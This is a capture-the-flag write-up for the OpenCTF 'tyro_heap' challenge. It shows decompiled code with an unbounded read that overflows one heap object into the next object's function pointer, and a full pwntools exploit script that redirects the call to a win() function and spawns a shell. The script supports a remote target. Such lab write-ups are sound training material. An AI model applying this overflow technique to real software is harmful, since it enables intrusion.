Points: 50 Solves: Category: Exploitation Description:
Menu
On start the menu provides us with a couple of options.
➜ openCTF ./tyro_heap_29d1e9341f35f395475bf16aa988e29b
Tyro Heap
Sun Aug 14 12:34:18 UTC 2016
c) create heap object
a) read type a into object
b) read type b into object
f) free object
e) run object function
q) quit
::>
To exploit this we only need to know about `c) create heap object’, ‘a) read type a into object’, ‘b) read type b into object’ and ‘e) run object function’.
Create heap object
It constructs a class with a single method and a char buffer on the heap.
int create_item() {
object = malloc(0x24);
*object = 0x80484e0; // puts@GOT
return object;
}
The class has the following structure.
struct object_class {
int method = puts@got;
char data[32];
};
Read type a/b into object
Read a reads 35 bytes input via scanf and stores them into object->data.
int read_a(int *object->data) {
printf("give me input_a: ");
return __isoc99_scanf("%35s", object);
}
Read b however, does the same thing as read_a but using getchar
in a do while loop with no bound checking.
int read_b(int *object->data) {
counter = 0x0;
printf("give me input_b: ");
getchar();
do {
char_input = getchar();
if (char_input == "\n") {
break;
}
if (char_input == -1) {
break;
}
counter = counter + 0x1;
object->data[counter] = char_input;
} while (true);
object->data[counter] = 0x0;
eax = printf("got [%s]\n", object);
return eax;
}
Run object option from the main menu executes a method in a provided class id.
int get_choice(int object_counter) {
printf("object id ?: ");
__isoc99_scanf("%d", object_id);
if ((object_id >= 0x0) && (object_id <= object_counter)) {
eax = object_id;
}
else {
eax = exit(-1);
}
return eax;
}
class_id = get_choice(); // return chosen class id
call class_id.method(data); // call the only method in the class
Solution
Since it’s a 50 pts task, the organizers have provided us with a win function.
void win() {
system("/bin/sh");
}
So, what we need to do is. Allocate 2 classes and overflow class 0->data into class 1->method with the address of win()
and then call class 1’s method.
#!/usr/bin/env python
from pwn import *
import sys
win = p32(0x08048660)
def create_obj():
r.sendline('c')
r.recvuntil("::> ")
def read_b(i, data):
r.sendline('b')
r.recvuntil('object id ?:')
r.sendline(str(i))
r.recvuntil('give me input_b: ')
r.sendline(data)
r.recvuntil("::> ")
def exe_id(i):
r.sendline('e')
r.recvuntil('object id ?: ')
r.sendline(str(i))
def exploit(r):
r.recvuntil('::> ')
create_obj()
create_obj()
payload = win * 10
read_b(0, payload)
exe_id(1)
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['/vagrant/openCTF/tyro_heap_29d1e9341f35f395475bf16aa988e29b'])
print util.proc.pidof(r)
pause()
exploit(r)
➜ openCTF python ./tyro_heap.py
[*] For remote: ./tyro_heap.py HOST PORT
[+] Starting program '/vagrant/openCTF/tyro_heap_29d1e9341f35f395475bf16aa988e29b': Done
[7380]
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
$